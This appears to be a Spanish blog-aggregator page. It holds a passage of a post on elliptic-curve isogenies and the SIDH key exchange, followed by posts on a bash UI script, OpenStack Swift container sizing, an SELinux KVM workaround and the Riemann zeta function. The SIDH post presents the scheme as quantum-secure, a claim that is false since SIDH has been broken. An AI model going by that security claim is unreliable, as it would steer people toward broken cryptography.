Pero que no cunda el pánico, vamos a ver cómo encontrar este grado sin meternos en la teoría dura, esto sólo es para definir algo (grado) y luego ver que su cálculo se puede hacer sin tener que calcular bases de espacios vectoriales.

Es fácil demostrar que el grado de la extensión de campos se mide siempre de una manera inocente contando el número de elementos en la imagen inversa de cualquier punto (sin ramificación) en el codominio.

O sea si el grado de $latex \psi$ fuera 1, significa que los espacios vectoriales inducidos por $latex \psi$ son los mismos, por lo que la imagen inversa de cualquier punto tiene sólo 1 punto ya que en este caso $latex \psi$ sería un isomorfismo.

El grado mide qué tan "complejo" es $latex \psi$ , por lo que de hecho el grado de una isogenia está definido también por la cantidad de elementos en la imágen inversa de $latex \psi$ para un punto ordinario general, es decir de $latex \psi^{-1}(Q_{E_2})$ donde $latex Q_{E_2}\in E_2$ es un punto ordinario, es decir no presenta ramificación (Por ejemplo un punto $latex (x,y)$ cuya coordenada $latex x$ no sea raíz de $latex x^3 + ax + b$ , ya que estos puntos son de ramificación, pero no entraremos en eso por ahora).

Como $latex \psi$ es un homomorfismos, tenemos que #$latex \psi^{-1}(Q_{E_2}) =$#$latex ker\psi$, por lo que tenemos otra igualdad más.

De tarea ustedes entonces dicho lo anterior pueden probar que $latex \text{grad}\psi$ es fácilmente calculable ya que si $latex P\in E_1$ y $latex Q:=\psi(P)$ es un punto con coordenadas $latex (s,t)$ en $latex E_2$ entonces #$latex \psi^{-1}(Q)$ es exactamente el número de ceros diferentes del polinomio $latex a_1(x)-sa_2(x)$ pero como $latex \psi$ es separable entonces este polinomio no tendrá raíces repetidas, por lo que #$latex \text{grad}\psi = \text{Deg}(a_1(x)-sa_2(x))=$#$latex ker\psi$.

Demostración de teorema

Dicho todo esto, considera el mapeo $latex \phi_1\in End_{\mathbb{F}_q}(E_1)$ y $latex \phi_2\in End_{\mathbb{F}_q}(E_2)$ tal que si $latex (x_i,y_i) \in E_i$ entonces $latex \phi_i(x_i,y_i) = (x_i^q, y_i^q)$ .

Es decir son los endomorfismos de Frobenius de cada una de las curvas.

Recuerden que queremos demostrar que dos curvas $latex E_1,E_2$ isógenas sobre $latex \mathbb{F}_q$ tienen el mismo números de puntos, y tenemos que la isogenia es $latex \psi:E_1\to E_2$.

Es fácil ver que $latex \psi\circ \phi_1 = \phi_2\circ \psi$, ya que si $latex P:=(x_1,y_1)\in E_1$ y $latex (x_2,y_2):=\phi(P)$ entonces $latex \psi(\phi_1(P)) = \psi(x_1^q,y_1^q)$ y en el otro lado $latex \phi_2(\psi(P)) = \phi_2(x_2,y_2)=(x_2^q,y_2^q)$.

Es decir, en el párrafo anterior afirmo que  $latex (x_2^q,y_2^q) = \psi(x_1^q,y_1^q)$, ya que recuerden que $latex \psi$ está formada por funciones racionales en $latex x$ y en $latex y$, entonces es un ejercicio de álgebra básica demostrar que si $latex r(x)$ es un polinomio sobre un campo finito entonces $latex r^q(x)=r(x^q)$, es decir se cumple el sueño de todo niño de secundaria, que por ejemplo si $latex x+y\in \mathbb{F}_q(x,y)$ entonces $latex \phi(x+y)=(x+y)^q = x^q + y^q$.

Entonces con toda mi informalidad que me caracteriza, tenemos ya que $latex \psi\circ \phi_1 = \phi_2\circ \psi$

Por lo que como la operación $latex \circ$ de composición en $latex End_{\mathbb{F}_q}(E_i)$ es distributiva, podemos inferir que:

$latex \psi\circ (\mathbbm{1}_{E_1} - \phi_1) = (\mathbbm{1}_{E_2}- \phi_2)\circ \psi$   (*)

Tal que $latex \mathbbm{1}_{E_i}$ es el mapeo de identidad en $latex End_{\mathbb{F}_q}(E_i)$ .

Calculemos el grado de  (*) .

Sabemos que el $latex \text{grad}\psi_1\circ \psi_2 = \text{grad}\psi_1\cdot \text{grad}\psi_2$ , esto lo pueden demostrar usando mi demostración anterior de que el grado de una isogenia está directamente relacionado con el grado de un polinomio dado por el mapeo, y pues al componerlos, el grado incrementa multiplicativamente.

También tenemos que el grado de $latex \mathbbm{1}_{E_i}-\phi_i$, como es un mapeo separable, es el número de elementos en el kernel de $latex \mathbbm{1}_{E_i}-\phi_i$... Pregunta ¿quién está en el kernel de $latex \mathbbm{1}_{E_i}-\phi_i$?

Recordemos que el endomorfismo de Frobenius tiene una propiedad interesante, es decir, si tenemos que $latex \mathbb{F}_{p^n}$ es un campo finito, y definimos para todo $latex x\in \mathbb{F}_{p^n}$ el mapeo $latex \phi_m(x) := x^{p^m}$ entonces $latex \phi_m(x)=x$ sí y sólo sí $latex x\in \mathbb{F}_{q^m}$ por lo que $latex x\in \overline{\mathbb{F}_p}$  es $latex \mathbb{F}_{p^m}$-racional si $latex \phi_m(x)=x$ , es decir, donde el endomorfismo de Frobenius se comporta como la identidad, nos caracteriza a los puntos racionales.

Entonces el kernel de $latex \mathbbm{1}_{E_i}-\phi_i$ son los puntos $latex (x_i,y_i)\in E_i$ que son iguales ante Frobenius y ante la identidad... es decir, puntos racionales $latex \mathbb{F}_q$-racionales.

Con lo anterior tenemos que  $latex \text{grad} (\mathbbm{1}_{E_i}-\phi_i)=$#$latex E_i$ .
Con esto tenemos tenemos que el grado de (*) es:

$latex \text{grad}\psi\cdot$#$latex E_1 = \text{grad}\psi\cdot$#$latex E_2$ por lo que #$latex E_1=$#$latex E_2$. q.e.d. $latex \blacksquare$.

p-Torsión, j-invariante y características de curvas elípticas súpersingulares

Definición: $latex E/\mathbb{F}_{p^n}$ una curva elíptica, entonces definimos la n-torsión de la curva como:

$latex E[n] := \lbrace P\in E : nP=\infty \rbrace$

Es decir, los puntos que al sumarse $latex n$ veces, se anulan.

Definición: Sea $latex E/\mathbb{F}_{p^n}$ entonces decimos que $latex E$ es ordinaria si $latex E[p]\cong \mathbb{Z}/(p)$ y es supersingular si $latex E[p]\cong\lbrace\infty\rbrace$.

Es decir, si no tiene p-torsión más que la trivial, le llamamos supersingular.

La palabra "supersingular" no tiene nada que ver con "singular", ya que una curva es singular si tiene singularidades, pero una curva elíptica por definición no es singular, es decir, no tiene puntos raros (discriminante de la curva es distinto de cero), ni tampoco raices repetidas.

La palabra supersingular es porque realmente son excepcionales,  y de hecho una cosa interesante de estas curvas es que SIEMPRE están bien definidas sobre $latex \mathbb{F}_{p^2}$ para cualquier $latex p$ , es decir, al reducir una ecuación de una curva a $latex \mathbb{F}_{p^2}$ nunca presentará singularidades.

Ahora vamos a ver otra definición importante que justamente será usada por el protocolo Diffie-Hellman.

Definición: Definimos el j-invariante de una curva elíptica $latex E/k$ donde $latex k$ es cualquier campo de caracteristica mayor que 3 y la forma de Weierstrass de $latex E$ es $latex y^2=x^3 + ax+b$ lo definimos como:

$latex j(E):=1728 \frac{4a^3}{4a^3+27b^2}$

Esta función loquita es muy importante en análisis complejo, y se preguntarán de donde sale ese 1728. Primero necesitamos saber para qué es esto.

El j-invariante tiene la propiedad de que si dos curvas tienen el mismo j-invariante, es decir $latex j(E_1)=j(E_2)$ entonces tenemos que $latex E_1\cong E_2$ sobre su campo de definición $latex k$.

Noten que el denominador del j-invariante nunca es 0, ya que es justamente el discriminante de $latex x^3 + ax+b$ y este no es cero porque sino la curva tendría singularidades y por definición una curva elíptica no es singular.

Otro teorema importante es que para todo $latex j_0\in k$ existe una curva elíptica $latex E_{j_0}$ tal que $latex j(E_{j_0})$ por lo que automáticamente podemos inferir que sobre cualquier campo... el moduli de TODAS las curvas elípticas sobre cualquier campo finito o infinito... es unidimensional... es decir, todas las curvas elípticas forman una línea.

Otros teoremas importantes es que los endomorfismos extendidos a $latex \mathbb{Q}$ definido como $latex End_0(E):= End_k(E)\otimes_{k}\mathbb{Q}$ cuando $latex E$ es supersingular, forman una álgebra de cuaternios, es decir no es conmutativa.

En el caso ordinario donde $latex E$ no sea supersingular , tenemos que $latex End_0(E)$ siempre es una extensión cuadrática de $latex Q$ compleja, es decir $latex End_0(E)\cong \mathbb{Q}(\sqrt{d})$  con $latex d$ negativo y libre de cuadrados.

Corolario: Sea $latex E/\mathbb{F}_q$ una curva elíptica supersingular, entonces #$latexE(\mathbb{F}_q)=p+1$.


No lo haré, pero usen el teorema de Hasse, deduzcan que si la curva es supersingular, entonces la traza del endomorfismo de frobenius es 0, todo esto se puede demostrar con lo anterior.

Teorema: Sea $latex \psi:E_1\to E_2$ una isogenia tal que $latex E_1$ es súpersingular, entonces $latex E_2$ también es supersingular.

Lo mismo aplica para curvas ordinarias, es decir, los dos tipos de curvas, súpersingulares y ordinarias sólo "se llevan" entre sus respectivas categorías, esto es importante, porque el protocolo que describiré pronto asegura que todas las isogenias serán entre curvas súpersingulares.

Pero antes veamos cómo construir isogenias cuyo kernel sea el subgrupo del dominio de la isogenia, es decir, dado un $latex H_P\subset E$ un subgrupo de una curva elíptica sobre un campo finito, en este caso $latex H_P$ es el generado por $latex P$ , construiremos explícitamente $latex \psi_P:E\to E_P$ tal que $latex ker\psi_P=H_P$ y la ecuación explícita de $latex E_P$.

Construyendo Isogenias desde subgrupos de la curva usando fórmulas de Velú.

Recuerden que #$latex E(\mathbb{F}_q)=N$ es finito, ya que el campo de definición es finito.
Entonces por el teorema de lagrange, sabemos que la información de sus subgrupos está escondida en la factorización de $latex N$.

Sea $latex P\in E$, definimos el subgrupo $latex H_P\subsetneq E$ como:

$latex H_P:=\lbrace nP : n \in \mathbb{Z}\rbrace$

Este es el grupo de "todos los múltiplos de $latex P$:" en la curva, es trivial que es un subgrupo de $latex E$.

Vamos ahora a construir una isogenia asociada a $latex P\in E$ que denotamos por $latex \psi_P$ cuyo kernel sea $latex H_P$ hacia otra curva que denotaremos como $latex E_P$.

Es decir vamos a construir $latex \psi_P:E\to E_P$ tal que $latex ker\psi_P = H_P$
Todos sabemos que el kérnel de un morfismo de grupos es un subgrupo normal del grupo, así que esto no debe causarles conflicto.

La notación de las coordenadas para los puntos en $latex \langle E,\oplus\rangle$  será $latex P:=(x_P,y_P), Q:=(x_Q,y_Q), P\oplus Q:=(x_{P+Q},y_{P+Q})$.

Definición-Teorema-Vélu: Sea $latex \langle E/\mathbb{F}_q,\oplus\rangle$ una curva elíptica y $latex P_0\in E$, tal que $latex y^2 = x^3 + ax + b$ construyamos como vimos anteriormente el grupo generado por los "múltiplos de $latex P_0$" , $latex H_{P_0}$.

Entonces tenemos que para todo $latex P\notin H_{P_0}$:

$latex \psi_{P_0}:E\to E_{P_0}$
           $latex P\mapsto \Big( x_P+\displaystyle\sum_{Q\in H_{P_0}\setminus\lbrace\infty\rbrace}(x_{P+Q}-x_Q), y_P+\displaystyle\sum_{Q\in H_{P_0}\setminus\lbrace\infty\rbrace}(y_{P+Q}-y_Q)\Big)$

Y si $latex P\in H_{P_0}$ definimos $latex \psi_{P_0}(P)=\infty$.

Es fácil mostrar que $latex ker\psi_{P_0}:=H_{P_0}$ , de hecho, ústedes háganlo y verán como todo se reduce a hacer matemáticas lindas, no es tan difícil.

Pero bueno, esta función $latex \psi_{P_0}$ no está dada por la forma que mostrarmos al principio, es decir por la isogenia definida con los polinomios $latex \big( \frac{a_1(x)}{a_2(x)},y\frac{b_1(x)}{b_2(x)} \big)$.

Pero Dustim Moody y Daniel Shumow ya lo hicieron en la sección 2.3 de un paper, aquí dejo su páper , así que ya tenemos la isogenia explícita, y de hecho en ese mismo paper se describe la ecuación de la curva $latex E_{P_0}$ la cual es $latex y^2 = x^3 + (a-5v)x + (b-7w)$ donde $latex v,w$ son constantes que dependen de $latex H_{P_0}$ y son explícitamente calculables.

Ahora sí, el algoritmo

Algoritmo explícito Diffie Hellman con isogenias entre curvas elípticas supersingulares.

Considera una curva elíptica supersingular $latex E$ definida sobre $latex \mathbb{F}_{p^2}$  tal que $latex p=w_A^{e_A}\cdot w_B^{e_B}\cdot f \pm 1$, es decir es un número primo especial, donde $latex w_A,w_B$ son números primos chicos y $latex f$ es cualquier entero, así como $latex e_A,e_B$ los cuales se escogerán de tamaños parecidos y tal que $latex p$ cumpla el nivel de seguridad requerido en bits para este esquema, que está probado que es aproximadamente de 3000 bits (referencia aquí). Entonces con todo lo que dijimos en la sección de curvas súpersingulares es fácil inferir que el tamaño de la curva está dado por #$latex E(\mathbb{F}_{p^2})=(p\pm 1)^2$.

Sean A=Artemisa y B=Boris , dos personas que desean intercambiar una llave en un canal no seguro intervenido por un atacante con recursos cuánticos.

Entonces ellos harán lo siguiente:

Algoritmo SIDH (Supersingular Isogeny Diffie-Hellman)

Públicamente harán lo siguiente: 

Se ponen de acuerdo en los siguiente: $latex p=w_A^{e_A}\cdot \w_B^{e_B}\cdot f \pm 1,\langle E/\mathbb{F}_{p^2},\oplus\rangle,P_A,Q_A,P_B,Q_B\in E$ tal que $latex E$ es súpersingular.
donde intercambiar una curva $latex E/\mathbb{F}_{p^2}$ equivale a mandar $latex \lbrace a,b\rbrace$ tal que $latex y^2 = x^3 + ax+b$.

Tenemos que $latex P_A,Q_A$ y $latex P_B,Q_B$ fueron escogidos tal que tienen orden $latex w_A^{e_A}$ y $latex w_B^{e_B}$ respectivamente, lo cual es fácil por el número primo que construimos.

Vamos a denotar por nA, nB, el paso $latex n$ que tiene que hacer Artemisa o Boris respectivamente,.


1A: A genera dos números aleatorios $latex m_A,n_A$ < $latex w_A^{e_A}$
2A: A genera $latex R_A := m_A\cdot P_A \oplus n_A\cdot Q_A$ (secreto)
3A: A usa el punto $latex R_A$ para crear el subgrupo $latex H_{R_A}$ que funcionará como kernel del mapeo $latex \psi_{A}:E\to E_A$, por lo que ya tiene $latex R_A,\psi_{A},E_A$ donde los últimos dos son gracias a las fórmulas de Vélu mostradas en la sección anterior.
4A: A forma los puntos $latex \psi_{A}(P_B)$ y $latex \psi_{A}(Q_B)$ con su isogenia creada en el paso anterior.
5A: A le manda a B $latex \lbrace E_A,\psi_A(P_B),\psi_A(Q_B)\rbrace$
Pero NO le manda la isogenia, sino la imagen de los puntos bajo la isogenia secreta $latex \psi_A$

1B-4B: Ahora Boris hace los mismos primeros 4 que Artemisa, sólo intercambiamos las letras de los subscripts A por B

5B: B manda a A $latex \lbrace E_B,\psi_B(P_A),\psi_B(Q_A)\rbrace$
6A: A tiene $latex m_A,n_A,\psi_B(P_A),\psi_B(Q_A)$ y forma el punto $latex S_{BA}:=m_A\cdot\psi_B(P_A)\oplus n_A\cdot\psi_B(Q_A)$.
7A: A usa el punto para generar la isogenia $latex \psi_{BA}$ usando fórmula de Vélu, así como la imagen de la isogenia que será la nueva curva $latex E_{BA}$ que es isógena a $latex E$ gracias a $latex \psi_{BA}$.
8A. A calcula el j-invariante  de la curva $latex E_{BA}$ que será $latex \kappa:=j(E_{BA})$.
6B: Similarmente al paso 6A, Boris tiene $latex m_B,n_B,\psi_A(P_B),\psi_A(Q_B)$ por lo que forma el punto $latex S_{AB}:=m_B\cdot\psi_A(P_B)\oplus n_B\cdot\psi_A(Q_B)$.
7B: Boris usa el punto $latex S_{AB}$ para generar la isogenia con las fórmulas de Velú asociada al subgrupo generado por $latex S_{AB}$ , esta isogenia es $latex \psi_{AB}$ y genera también el codominio de esta isogenia que es la curva $latex E_{AB}$ que es isógena a $latex E$ gracias a $latex \psi_{AB}$.
8B: B calcula el j-invariante de la curva $latex E_{AB}$ que será $latex \kappa:=j(E_{AB})$.

Las curvas $latex E_{AB}$ y $latex E_{BA}$ son isomorfas, ustedes lo pueden demostrar si hacen todo el diagrama, por lo que el j-invariante será el mismo, y ya ambos pueden usar como password $latex  \text{Hash}(\kappa)$ o cualquier función en Kappa.

¿Pero por qué nos enfocamos en súpersingulares?

La verdad nunca usamos nada de las características supersingulares... Pero recuerden que el álgebra de endomorfismos de una curva elíptica supersingular NO es conmutativa, ya que es isomorfa a un álgebra de cuaternios.

Existe un ataque, que resuelve el problema "difícil" en el que está basado este protocolo en tiempo subexponencial cuántico. El algoritmo está descrito en este paper por Andrew M. Childs, David Jao y Vladimir Soukharev.  El cuál hace uso extenso de la CONMUTATIVIDAD del anillo de endomorfismos de la curva elíptica para resolver subexponencialmente el "Abelian Hidden Shift Problem" que es el nombre del problema que hace seguro al algoritmo descrito en la sección anterior.

Por lo que debemos enfocarnos a curvas cuyo anillo de endomorismos no sea conmutativo... es decir... súpersingulares.

¿En qué se basa la seguridad?, ¿qué tengo que romper si quiero hacer criptoanálisis a este algoritmo?

Lo que hay que romper es el "Abelian Hidden Shift Problem".  Algo así en español como "Problema oculto de desplazamiento oculto", ya que lo que estamos haciendo en el algoritmo anterior, es desplazar grupos, y adquireir nuevas curvas "desplazando" con puntos nuevos.

Este problema en general consta de lo siguiente.

-Sea $latex A$ un grupo abeliano finito.
-Sea $latex S$ un conjunto finito.
-Sea $latex f:A\to S$ y $latex g:A\to S$ dos funciones inyectivas.
-Existe una $latex b\in A$ tal que para todo $latex x\in A$ tenemos que $latex f(x)=g(xb)$
-El valor que un atacante quisiera saber es $latex b$.

Vamos a reformular esto en términos de curvas elípticas de manera básica.

-Tenemos dos curvas isógenas $latex E,\hat{E}$
-Decimos que $latex f_0(a)=a*E$ y $latex f_1(a)=a*\hat{E}$.
-Entonces $latex b*E=\hat{E}$
-También $latex f_1(a)=a*\hat{E}=a*b*E=f_0(ab)$

Resolver el Abelian Hidden Shift Problem en $latex f_0$ y $latex f_1$ es descubrir $latex b$.

Esto realmente significa calcular la acción en las curvas elípticas

Dicho esto, SIDH con curvas elípticas súpersingulares, la seguridad se obtiene es con llaves de 3000 bits para obtener seguridad cuántica exponencial de 128 bits, la cual es más que suficiente.

Esto es todo por hoy, ahora saben cómo implementar un algoritmo que tenga seguridad cuántica.

Espero les haya gustado

Eduardo Ruíz Duarte (beck)
Twitter: @toorandom

Probabilidad de éxito

Pensando en que aún no he terminado de revisar los discos que fallaron catastróficamente en marzo / abril, recordé la tira obligada de xkcd. o para esta verisón en español.


Y en efecto a los discos ya les doy muy poca probabilidad de rescatar, justo ahora que estoy en eso he pensando en varias cosas que había encontrado en torrents que si me pica el haber perdido pero como se que no lei, vi u oi completo tampoco es que de todas formas fuese tan importante, pero como dice el dicho “uno no sabe lo que tiene hasta que lo ve perdido”.

Viernes 26 de agosto de 2016

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

script llamando a consola, whiptail y zenity

Hay usuarios que prefieren la interfaz gráfica, los que gustan de consola o en la misma terminal. Se puede realizar un script que se ejecute de acuerdo el parámetro con una interfaz distinta.

Para esto es muy útil separar funciones y dejar en el script sola la lógica
$ cat  eje.bash

#tipo de funcion
 if [ "$1" == "-w" ] #emplear version whiptail
   then source lib/wFunc.eje;
 elif [ "$1" == "-z" ] #emplear version zenity
   then source lib/zFunc.eje;
   else #version consola
     source lib/cFunc.eje;
   fi ;

#obtener el nombre
 if [ -z "$nombre" ]
     nombre=`cat /tmp/algo`;
     rm /tmp/algo

#mostrar nombre
 Saluda "$nombre";

$ ./eje.bash

$ cat lib/cFunc.eje
  function ObtenNom
       read -p "como te llamas?
nombre: " nom;
       echo "$nom" > /tmp/algo;
       return 0;
  function Saluda
      echo "Mucho gusto, $1";

$ ./eje.bash -w

$ cat lib/wFunc.eje
  function ObtenNom
       whiptail --title "como se llama?" --inputbox "Nombre:" 10 40 2>/tmp/algo;
  function Saluda
      whiptail --msgbox "Mucho gusto, $1"  10 40

$ ./eje.bash -z

$ cat lib/zFunc.eje
  function ObtenNom
       nom=`zenity --title "Como se llama?" --entry  --text "Nombre:"`;
       echo "$nom" >/tmp/algo;
       return 0;
  function Saluda
      zenity --info --text "Mucho gusto, $1";

$ ./eje.bash petrohs

Miércoles 24 de agosto de 2016

OpenStack: What is the optimal number of objects per container

Well, I just had this question and went over to #openstack @ Freenode. There, notmyname (apparently, a moderator or @ps of some kind) answered:

12:20 < notmyname> Renich: I saw you asking questions about swift earlier
12:20 < notmyname> Renich: about object count per container
12:27 < notmyname> Renich: in case you see this later, here's my answer...

12:28 < notmyname> Renich: the recommended number of objects per container in swift depends on two things: (1) how many objects you want to add per second per container and (2) what sort of hardware you have referenced in the contianer rings

12:28 < notmyname> Renich: for the second, I strongly suggest using flash. (SSDs are fine)

12:29 < notmyname> Renich: if you need to sustain eg 100 writes per second in a single container and you've got flash devices for the container storage, then you'll probably be looking at a few dozen million objects

12:30 < notmyname> Renich: but note that this is (1) write performance--reads are unaffected and (2) per container--so shard your data client-side to use lots of containers
12:31 < Renich> notmyname: yes, thanks. Your answer helps a lot. And, yeah, we're using SSDs and testing a ZFS setup actually

12:32 < notmyname> Renich: almost all of any write performance penalty in large container has been eliminated in swift over the last year. but operationally, it's still a good idea to avoid truly huge containers. you don't want to try to replicate billion-row DBs

12:32 < notmyname> Renich: oh, interesting. I'd be interested to hear what kind of performance you get with that. last I saw (but it was a long time ago) ZFS had some pretty bad performance numbers when you get it reasonably full (lots of inodes)

12:34 < notmyname> Renich: also feel free to drop by #openstack-swift if you've got further questions

12:34 < Renich> notmyname: well, we're trying it out in a very specific use case. One putter, and a lot of getters on the setup. For climatic data

12:34 < Renich> notmyname: sure thing, thanks

So, in conclusion:
* swift doesn’t suffer from a high number of objects in a container anymore.
* Still, you want to keep it under a couple of dozen million per container.
* You want to use SSD for everything.


Alex Callejas

Alex Callejas

#QUICKTIP: SELinux no permite usar kvm

Después de las últimas actualizaciones de políticas de SELinux en Fedora 24, al arrancar ó crear una Máquina Virtual (vm) en virt-manager, envía el mensaje de error: virt-manager error: selinux policy denies access at starting domain.

En los logs encontramos:

Aug 23 21:45:45 systemd[1]: Started Network Manager Script Dispatcher Service.
-- Subject: Unit NetworkManager-dispatcher.service has finished start-up
-- Defined-By: systemd
-- Support:
-- Unit NetworkManager-dispatcher.service has finished starting up.
-- The start-up result is done.
Aug 23 21:45:45 dbus-daemon[818]: [system] Successfully activated service 'org.freedesktop.nm_dispatcher'
Aug 23 21:45:45 kernel: virbr0: port 1(vnet0) entered disabled state
Aug 23 21:45:45 kernel: device vnet0 left promiscuous mode
Aug 23 21:45:45 audit: ANOM_PROMISCUOUS dev=vnet0 prom=0 old_prom=256 auid=4294967295 uid=107 gid=107 ses=4294967295
Aug 23 21:45:45 kernel: virbr0: port 1(vnet0) entered disabled state
Aug 23 21:45:45 virtlogd[10776]: End of file while reading data: Input/output error
Aug 23 21:45:45 libvirtd[913]: Cannot open log file: '/var/log/libvirt/qemu/win7-2.log': Device or resource busy
Aug 23 21:45:45 virtlogd[10776]: Cannot open log file: '/var/log/libvirt/qemu/win7-2.log': Device or resource busy
Aug 23 21:45:45 virtlogd[10776]: End of file while reading data: Input/output error
Aug 23 21:45:45 libvirtd[913]: SELinux policy denies access.
Aug 23 21:45:45 systemd-machined[10793]: Failed to start machine scope: Access denied

Si configuramos SELinux en modo permisivo, la vm arranca correctamente y también nos permite crear nuevas vm’s.

Obviamente, la solución más rápida es deshabilitar SELinux, pero como apoyamos la campaña de Dan Walsh, después una rápida googleada encontré el workaround:

1. Hacer downgrade a la política de SELinux

[root@isengard ~]# dnf downgrade selinux-policy-targeted selinux-policy firewalld firewalld-filesystem python3-firewall

2. Generar política temporal que permita el uso de kvm

Crear archivo type enforcement

[root@isengard ~]# vi /tmp/virt-manager-temp.te 
module virt-manager-temp 1.0;

require {
 type systemd_machined_t;
 type init_t;
 class system start;

#============= systemd_machined_t ==============
allow systemd_machined_t init_t:system start;
[root@isengard ~]#

Compilamos el módulo

[root@isengard ~]# checkmodule -M -m -o virt-manager-temp.mod virt-manager-temp.te
[root@isengard ~]# semodule_package -o virt-manager-temp.pp -m virt-manager-temp.mod

Lo cargamos en la política

[root@isengard ~]# semodule -i virt-manager-temp.pp

Después de aplicar cualquier de estos procedimientos, virt-manager ya es capaz de funcionar con SELinux.

En el bugzilla mencionan que la actualización de la política se encuentra en los repositorios de testing:

[root@isengard ~]# dnf update selinux-policy --enablerepo=updates-testing

Sin embargo, aún no esta disponible:

[root@isengard ~]# dnf update selinux-policy --enablerepo=updates-testing
Fedora 24 - x86_64 - Test Updates 229 kB/s | 2.8 MB 00:12 
Last metadata expiration check: 0:00:06 ago on Tue Aug 23 21:55:43 2016.
Dependencies resolved.
Nothing to do.
[root@isengard ~]# dnf list | grep selinux-policy
selinux-policy.noarch             3.13.1-191.12.fc24 @updates
selinux-policy-targeted.noarch    3.13.1-191.12.fc24 @updates
selinux-policy-devel.noarch       3.13.1-191.12.fc24 updates 
selinux-policy-doc.noarch         3.13.1-191.12.fc24 updates 
selinux-policy-minimum.noarch     3.13.1-191.12.fc24 updates 
selinux-policy-mls.noarch         3.13.1-191.12.fc24 updates 
selinux-policy-sandbox.noarch     3.13.1-191.12.fc24 updates 
[root@isengard ~]#


Bug 1368745 – selinux-policy-3.13.1-191.12.fc24 prevents virtual machine usage

Espero les sirva…

Lunes 22 de agosto de 2016

Eduardo Ruiz Duarte

Eduardo Ruiz Duarte
Beck's blog

Función zeta de Riemann y probabilidad de que dos enteros sean primos relativos

Este post está motivado en que ya estoy de vacaciones y quería hacer algo divertido y también para alguien muy especial que tiene la propiedad de ser aniparkiomorfiginaica que le gusta mucho la probabilidad y estadística, ella sabrá quién es.

Otra motivación es que como siempre tengo problemas para dormir posiblemente por las grandes cantidades de café que introduzco a mi cuerpo, pero empecemos.

Deduciremos una probabilidad que involucra a $latex \pi$ e involucra a números primos que está íntimamente relacionado con el problema del milenio sin solución gracias a Riemann (Conjetura de Riemann sobre la función $latex \zeta$ que puedes ver aquí)

La pregunta es realmente, ¿cuál es la probabilidad de que dos enteros positivos menores que cierto $latex N$ sean primos relativos (no tengan factores en común más que 1)?

Por ejemplo, $latex (6,33)$ no son primos relativos  porque $latex 6=3\cdot 2$ y $latex 33=11\cdot 3$ (comparten al $latex 3$)

pero por ejemplo $latex (14,15)$ son primos relativos porque no comparten factores no triviales y $latex (c,p)$ donde $latex c$ es cualquier entero y $latex p$ es un número primo.

Esta demostración me gusta mucho, aquí la tienen, vamos a calcular esta probabilidad de obtener dos números primos relativos al azar


Sean $latex x,y\in \mathbb{N}$ con $latex x,y>1$, como queremos que $latex x,y$ sean coprimos no deben tener ningún factor en común.

Empecemos facilito.

¿Cuál es la probabilidad de dos enteros positivos tengan al 2 como factor?

Bueno, la probabilidad de que un sólo número tenga al $latex 2$ como factor es $latex 1/2$ ya que basta que sea par, y esto sucede el 50% de las veces, esto implica que la probabilidad de que los dos tengan al $latex 2$ como factor es $latex (1/2)^2$

Entonces la probabilidad de que $latex \alpha,\beta$ NO tengan al 2 como factor es $latex 1-\Big({\frac{1}{2}}\Big)^2}$

Ahora para el 3, la probabilidad de manera similar de que no contengan en común al 3 es de $latex 1-\Big({\frac{1}{3}}\Big)^2}$

Ya que igualmente, "cada 3 números tienes un múltiplo de 3" , y así en general para todo primo $latex p$ tenemos.

Para cada $latex p$ tenemos que cada $latex p$ números pasarás por un múltiplo de $latex p$ a eso nos referimos con la probabilidad de que nos toque a $latex p$ como factor es $latex \frac{1}{p}$
Por lo tanto la probabilidad $latex P_{\alpha,\beta}$ de que dos enteros al azar $latex \alpha,\beta \in \mathbb{N}$ menores que cierto $latex N$  sean primos relativos es:

$latex P_{\alpha,\beta}=\displaystyle \prod_{p\in \mathbb{P}}{1-\frac{1}{p^2}}} =(1-\frac{1}{2^2})\cdot (1-\frac{1}{3^2})\cdot (1-\frac{1}{5^2})\cdot ...\cdot(1-\frac{1}{{p_n}^2})\cdot ...$  ***

Donde $latex p_n\in\mathbb{P}$, la probabilidad se obtiene cuando multiplicas para todo número primo es decir cuando $latex n\rightarrow \infty$.

Donde $latex \mathbb{P}$ son todos los números primos, los multiplicamos todos ya que son sucesos probabilisticamente independientes.

Es decir, recuerda que la probabilidad de que sucedan dos eventos independientes $latex A$ y $latex B$ al mismo tiempo es en símbolos $latex P(A \wedge B)=P(A)\cdot P(B)$, con independientes me refiero a que el evento $latex A$ no tenga cierta relación con el evento $latex B$, y ¿por qué tener factores primos para cada primo son eventos independientes ? , fácil... porque los números SON primos, ya que si no lo fueran, digamos la probabilidad de tener a $latex 6$ como factor es dependiente de tener a $latex 2$ y $latex 3$ como factor, pero como aquí son números primos, todos son disjuntos con respecto a la medida de probabilidad que mide tener factores primos y por definición los primos son únicos en este sentido.

Pero esto ¿qué? , esta fórmula es medio rara... y no nos dice nada...

Vamos a desarrollar eso para llegar a un resultado sorprendente, primero hay que recordar esta serie de cálculo que tiene que ver con sumas en progresiones geométricas , toma $latex a\in \mathbb{R}$ con $latex \mid a \mid$  <  $latex 1$  

$latex \sum_{n=0}^{\infty} a^n = 1+a+a^2+... = \frac{1}{1-a}$   **

Por ejemplo si $latex a=1/7$

$latex \sum_{n=0}^{\infty}\Big (\frac{1}{7}\Big)^n=1+\frac{1}{7}+\frac{1}{7^2}+...=\frac{1}{1-\frac{1}{7}}=\frac{7}{6}\approx 1.1666$

De la fórmula  **   mete $latex a=(1/2)^2$,  y después voltea la fracción, es decir pon el denominador arriba y el numerador abajo, (esto podemos hacer  porque ningún denominador es 0)

Entonces tenemos que el primer término de *** a lo podemos expandir con la fórmula ** (volteada) como:

$latex 1-\frac{1}{2^2}} = \frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...}$

Similarmente podemos desarrollar todos los términos de $latex P_{\alpha,\beta}$

$latex P_{\alpha,\beta}=(\frac{1}{1+\frac{1}{2^2}+\frac{1}{2^4}+...\frac{1}{2^{2k}}+...})\cdot(\frac{1}{1+\frac{1}{3^2}+\frac{1}{3^4}+...\frac{1}{3^{2k}}+...})\cdot ...$

Observa cuidadosamente la ecuación anterior y fíjate que en los denominadores de los denominadores, están todos los posibles cuadrados perfectos de todos los números naturales, en todas sus combinaciones y sabores cuando $latex k\rightarrow \infty$ tenemos TODOS los cuadrados perfectos, por lo que esa suma horrible es lo mismo que la siguiente representacion

